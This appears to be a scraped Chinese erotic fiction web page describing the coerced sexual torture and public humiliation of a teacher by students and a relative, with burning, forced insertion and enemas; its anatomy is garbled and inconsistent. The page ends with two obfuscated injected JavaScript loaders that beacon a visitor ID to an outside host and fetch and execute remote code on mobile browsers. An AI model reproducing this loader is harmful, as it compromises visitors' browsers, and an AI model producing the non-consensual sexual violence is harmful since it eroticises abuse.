教学楼里大概已经没有其他人了,很静,静得有些可怕。

突然,教室的门轻轻地开了。阿强、栗莉还有几个男女学生一起悄悄地走了进来。

“老师,你好!”、“老师,你还没走呐?”同学们围坐在雅琪身边。

“啊,你们也还没走呢?”

雅琪预感到不祥,可是这么多人,阿强能怎么对待自己呢?雅琪心中不解,只好勉强跟学生们应酬。

“老师,你是不是很色?”阿强冷不防当着众人问出这样一句。

“啊,我…”雅琪顿时红了脸,可是看见阿强那像狼一样的眼光,雅琪不得不回答︰“是,是的。”

“啊!老师承认很色了。”

“老师,你湿了吗?”

“老师,快给我们看看。”

“你们,不要,我是老师呀,你们不要这么没有礼貌!”

“你就给他们看看吗,你本来就是很色的,还怕羞吗?”

阿强的话具有威力,雅琪顿时蔫了。

在学生的围观下,雅琪慢慢撩起裙子,里面没有内裤,光光阴茎的确已经溢出很多精液了。

雅琪不仅给学生们看到了女人最羞耻的地方,而且还溢出精液,真是羞死人了!

雅琪索性闭上眼睛。

巨大的羞辱似乎也给雅琪带来某种快感。

“哇!好漂亮的阴茎!”

“咦?没有毛耶?”

“来,帮老师脱衣服吧。”

学生们七手八脚地给雅琪扒了个精光,雅琪无从反抗,也无力反抗,最后只落得一丝不挂。

这时已经有众多的手在抚弄雅琪的全身,乳房、屁股、阴茎、屁眼都受到攻击,雅琪已经身不由己,只能任凭学生们侮辱玩弄了。

奴隶的血液在雅琪体内沸腾,雅琪体验到羞耻与痛苦交织的快感。

雅琪的好色肉体开始强烈反应,屁股在扭动、乳房在膨胀,屁眼在缠绕着挖弄的手指,鼻息粗重、呻吟不停,精液已经开始大量溢出。

“啊…嗯…噢……”

“大家停一停,老师最喜欢蜡烛,我们一起让老师高潮吧。”

阿强指导着同学把雅琪绑了起来,然后每人点燃了一枝蜡烛。

“啪…吱…啊……”

一滴滴的烛油,滴落在雅琪娇嫩丰满的乳房和龟头上,火热的灼痛刺激得雅琪浑身颤抖,龟头在微微摇晃,但却不可掩饰地高高挺起……

这种羞辱和灼痛给雅琪带来前所未有的快感,雅琪早已抛弃老师的自尊、抛弃女人的自尊,完全沈湎于性的海浪里。

“啊…好痛…好烫…啊……”

雅琪发疯似地扭动着全身,“我要…我要…再插深一些。”

雅琪得屁眼里插入了好多根蜡烛,她正在追逐着它们。

“啊!”雅琪正在高潮当中,阿强却突然把烛油滴在雅琪凸起的龟头上面,娇嫩的龟头又如何能抗住灼烫的烛滴……

雅琪顿时从高潮中一直跌入痛苦的地狱,那种难受痛苦的感觉是雅琪有生以来第一次经历的。

“啊…痛呀…阿强…求求你了…插我吧…我真的受不了了…太难受了……”

“老师是请我操你吗?”阿强故意羞辱雅琪。

“是…是的…好阿强…好主人…你快操我吧…我是你的奴隶…奴隶的屁眼好难过呦…好想如人的大肉棒呀……”

雅琪语无伦次,完全无耻地一再请求阿强操她,因为此时的雅琪已经被玩弄、折磨的思想崩溃了、完全沈陷于肉欲当中。

可是阿强他们好像手法很熟练,每次都在雅琪将要进入或刚刚进入高潮时,就给予痛苦的刺激,使雅琪顿时跌入苦痛的深渊,弄得雅琪死去活来,无法得到满足,痛苦得奄奄一息,浑身冷汗。

雅琪的父母昨天去了芬兰,家里只剩下雅琪和阿强,阿强感到特别的舒畅,雅琪却感到特别的沮丧。

因为有父母在时,阿强还不至于太过份,可是现在,自己的家好像一下子变成了阿强的王国,自己却反倒变成了这个王国里的最下贱的奴隶。

雅琪不得不屈服于阿强,每日里在学校要受到阿强的侮辱,回到家里更是要承受阿强的虐待,不仅如此,还要伺候阿强的起居和饮食。

雅琪正在厨房里收拾刚刚买回来的蔬菜,在洗一个角瓜。

突然感到有一只手在摸弄她的屁股,回头一看是阿强,不知什么时候已经笑嘻嘻地站到了身后。

“主人。”雅琪羞涩地低声招唿。

“老师,变装女人真的是从这里插入吗?”阿强边说边用另一只手抠弄雅琪的屁眼。

原来雅琪是赤裸着的,阿强不许她在家里穿任何衣服。

“是的。”雅琪的脸更红了,羞耻感和被抚弄的快感,强烈地攻击着她的神经。

“这里面真的有那么大吗?”

阿强好像真的好奇,这么小小的屁眼竟然能插入。

“是呀,里面可以伸缩的。”

“老师,这是什么?”阿强指着角瓜问道。

“这是角瓜呀。”

“这一个有多重?”

“这个比较大,差不多有五斤重。”

“那它应该能够放进老师的屁眼里吧?”

“啊?!”雅琪万万没有想到阿强竟然生出这么猥亵的主意。

“老师,快说呀,它能不能放进去?”阿强有些戏虐,又有些威胁地追问。

“我…我不知道…我…试试罢。”

雅琪十分为难,十分羞辱,但又不敢不服从阿强的意思。

“真是太大了!会撑破我的屁眼的。”

雅琪委屈地嘟囔着,希望阿强能可怜她,但她心里也知道阿强是不会可怜她的。

雅琪把角瓜放在床上,然后跨上去,把屁眼对准角瓜的头,一点一点地开始用力往下压。

头部进去了,可是实在太大了,只进去个头部,再往下似乎绝对进不去的。

“啊!”雅琪的屁股挨了狠狠的一鞭子。

“老师,你一边吞这个角瓜,我一边抽你的屁股,什么时候你把角瓜吞进去了,我就停止。”

“啪!”

“啊!”雅琪不得不忍着皮鞭的抽痛,忍着屁眼的裂痛,咬着牙、含着泪,一寸一寸地硬是把偌大一个角瓜吞进屁眼。

“啊…好胀呦。”雅琪摇摇晃晃地立起身子,肚子已经明显地鼓了起来。

“好,很好,看看,只要有决心,就一定能塞进去,是不是呀,老师?”

“是,快别说了,主人,羞死人了。”

“哈哈哈哈,老师,来,我再给你灌肠。喜欢吗?”

“啊!阿强…求求你了…我好难过呦!”

“哎…灌肠很爽的!来吧,把屁股蹶起来。”

雅琪无奈,只好又蹶起屁股,忐忑不安地等待灌肠。

“唉,这个阿强,根本不把我当人看待,简直就像是在玩一个大玩具,我的命好苦呀!”

阿强喜滋滋地给雅琪的屁眼插上胶管,然后连上灌肠气泵,又准备了一大盆辣椒水和洗涤剂的混和液。

“开始啦!”阿强戏虐地提醒雅琪。本来就紧张的雅琪听到这话,更加紧张了。

“啊!好辣呀!”

随着阿强一下一下地捏动气囊,盆里的灌肠液开始注入雅琪的屁眼。

强烈刺激性的液体使得雅琪的大肠马上有了反应,先是绞痛,继而伴随着强烈的便意侵袭着雅琪的全身。

雅琪开始冒冷汗,浑身的肌肉开始微微痉挛。

“啊!阿强,好难过,我受不了啦,求求你了,别灌了。”雅琪怡有气无力地喃喃地哀求阿强。

阿强哪管雅琪的苦楚,还是一个劲地灌。足足一大盆灌肠液都灌了进去,最后还给雅琪屁眼里塞上足有苹果大小的塞子。

“好了,起来吧。”

雅琪的肚子鼓涨得像是怀胎8月,艰难地站起身来。强烈的便意使她浑身颤抖,屁眼几次都想放开,可是塞子太大了,无论如何也放不出来。

“啊!太难受了!阿强…求求你了…让我放了吧。”雅琪已经泪流满面了。

“嗯,现在不行,你先去给我做晚饭吧。”

“啊!是…主人。”雅琪拼命地忍着痛苦,一丝不挂地去厨房收拾菜点、淘米煮饭。

伺候阿强吃完晚饭,雅琪已经憋得有些神志不清了。

“雅琪,我带你去放水。”

“啊…谢谢!”雅琪总算熬到了头。

“啊?阿强…这…怎么到外面来了?我…我还光着屁股呢。”

“你不想放水了?”

“啊!想、想、可是?”

“就在这里冲着外面放,要不就不让你放了。”

“啊,别,别,我放,我放……”

“各位好好看看吧,我姐姐的屁股是一流的,一会放起水来也是一流的。”

阿强故意要羞辱雅琪,向观望的行人介绍。

雅琪羞得连屁股都红了,可是不得不继续蹶在那里,等待放水。

阿强在雅琪的肛门塞上拴了一条细绳,阿强站在路边跟行人一起看着雅琪的屁股。


上一篇:新神雕:第一章【龙女化奴】

下一篇:精液地狱


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};